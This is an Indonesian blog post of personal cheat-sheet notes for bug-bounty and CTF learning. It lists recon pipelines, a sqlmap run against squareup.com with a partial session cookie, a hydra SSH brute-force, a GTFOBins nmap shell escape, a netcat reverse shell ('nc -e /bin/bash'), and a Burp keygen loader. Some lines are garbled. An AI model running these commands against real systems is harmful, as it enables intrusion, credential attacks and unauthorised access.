April 2021 ~ Belajar bareng

taksel ( aplikasi )

ps aux | grep ( melihat service yang jalan )

ntpd -gq ( syncron jam )

ntpdate -v pool.ntpd.org ( syncron waktu zona )

.*\.squareup\.com$ ( scan scope burp )

sebelum paralle install dulu menggunakan apt install parallel

cat redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
( scan burp )

buka burp

java -jar (burp-loader-keygen-2_1_07.jar)

ganti versi java di linux

sudo update-alternatives --config java

syncronace date

ntpd -gq

ntpdate -v pool.ntp.org ( syncron dengan server )

ntpda

nmap -v --script vuln ( scan vuln )

cat from-findomain | anew domains | httprobe -c 50 | anew hosts2

caRI ROOT

cat hosts2 | fff -d 1 -S -o roots

masuk ke directory

find . -type f | nano -

grep -hri host22 | anew
1650 grep -hri host22 | anew

grep -hri host23 | anew
1678 ls
1679 gf debug-pages
1680 gf firebase
1681 gf http-auth
1682 gf
1683 gf --help
1684 gf --list
1685 gf xss

gf servers
1689 gf meg-headers

find . -type f | nano
1694 find . -type f | nano -
1695 clear
1696 gf servers | anew
1697 gf meg-headers | nano -

waybackurls api.bugcrowd.com | nano -
1708 curl -vs https://api.bugcrowd.com/robots.txt
1709 waybackurls --get-versions 'https://api.bugcrowd.com/robots.txt'
1710 waybackurls --get-versions 'https://api.bugcrowd.com/robots.txt' | fff -S 200 -d 10 -k -o robot-version
1711 ls
1712 waybackurls --get-versions 'https://api.bugcrowd.com/robots.txt' | fff -S 200 -d 10 -k -o robot-version

find . -type f -name *.body | wc
1731 gf aws-keys

curl -vs https://api.bugcrowd.com/robots.txt | nano -
1881 curl -vs https://api.bugcrowd.com/robots.txt

httpx -o httpx.txt

echo "nama domain" | subfinder -o domain.txt | cat domain.txt | assetfinder --subs-only | tee -a test.txt

cat wilcards cat wilcards | assetfinder --subs-only | anew domains | | httprobe -c 80 --prefer-https

cat wilcards | subfinder -o domain.txt | cat domain.txt | assetfinder --subs-only | anew domains | cat domains | httpx -o aktif

subfinder -d domain | tee

assetfinder --subs-only domain | tee

cat domain(nama domain yang mau di sortir) | sort -u | tee simpan

cat httpx

cat domain | httpx -follow-redirects -status-code -vhost -threads 300 -silent | sort -u | grep "[200]" | cut -d [ -f | sort -u | sed 's/[[:blank:]]*$//' | tee domain

nuclei

sqlmap -u 'https://squareup.com/dashboard/?%27ty%27im!%27#{''''@qw.com' -technique=BEUSTQ --random-agent --risk 3 --level 5 --crawl 10

'_savt=8b8c3c1b-1f...1588e7a635;_onboard_session=UTRKbzJVVkh...45ba573c53;squareGeo=CH-ZH'

tools

ffuf

byp4xx
rapidscan
httpsmuggler / defparam/smuggler
breacher

python3 -c 'ímport pty:pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

python3 -m http.server

export TERM=xterm

install repo github agar bisa digunakan secara general

go build .
mv  /usr/local/bin/

sqlmap -r ( untuk burp atau metode post)

sqlmap -m ( untuk link misal dari gf sqli )

 sqlmap -p untuk parameter

sqlmap --force-ssl untul sssl nya

Untuk filter tulisan

 cat scan_aktiftest.txt | cut -d " " -f 4,5,6 | sort -u >> filter.txt

Repo github

1. git init

2. git remote add origin https://github.com/NamaRepo/S.git

git add


git commit -m "first commit"

git push  origin master

echo "# ZIMBRA" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin https://github.com/x0x0r/ZIMBRA.git
git push -u origin main

tools scan port

https://gitlab.com/pokoyo.bughunter/web-security-bug-hunting-trainings/-/issues/433

https://pypi.org/project/threader3000/

https://github.com/dievus/threader3000

https://github.com/RustScan/RustScan

https://www.youtube.com/watch?v=fGG7BMS-RZI

https://www.geeksforgeeks.org/rustscan-faster-nmap-scanning-with-rust/

https://www.geeksforgeeks.org/vulscan-vulnerability-scanning-with-nmap-in-kali-linux/

Link belajar

https://www.hackingarticles.in/ctf-challenges-walkthrough/

https://www.hackingarticles.in/corrosion-2-vulnhub-walkthrough/

https://www.vulnhub.com/entry/corrosion-2,745/

bruteforce

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.0.107 ssh

Command dasar dokcer compose dan docker file

docker-compose up -d ( buat install )

docker-compose ps -a liat status docker

docker container rm (rmi) ( nama kontainer ) hapus kontainer

docker images prune ( nama kontainer ) hapus images 

docker container ls

docker images ls

 docker container exec -it (nama kontainer)  /bin/bash

docker container start ( nama kontainer ) 

select * from users;

https://github.com/Darkness4/dvwa-docker.git

https://github.com/Darkness4/dvwa-docker


https://github.com/cytopia/docker-dvwa

https://github.com/digininja/DVWA

tools

https://www.bugbountyhunter.com/guides/?type=bugbounty_toolkit

commad cari hash

echo -n "hash nya" | base64 -d

-d ( decrypt nya )

bypass nmap

 TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF

https://gtfobins.github.io/gtfobins/nmap/

nc -lnvp

l = listen 
n = ip only ( ip yang terbuka )

v = verbose

p = port 

contoh nc -lvnp -s

s = source

nc -e /bin/bash ( ip ) (port)


echo -n ( masukin hash nya ) | base64 -d ( untuk cari hash encrypsi)

osint

https://sploitus.com/

https://hunter.how/


web archive cdx api


https://archive.org/developers/wayback-cdx-server.html

https://viewdns.info/


http://web.archive.org/cdx/search/cdx?url=*.api.bugcrowd.com&collapse=urlkey&matchType=prefix

CVE-2024-4577

Belajar bareng

Tuesday, April 13, 2021

Command standar

Labels

Blog Archive

Labels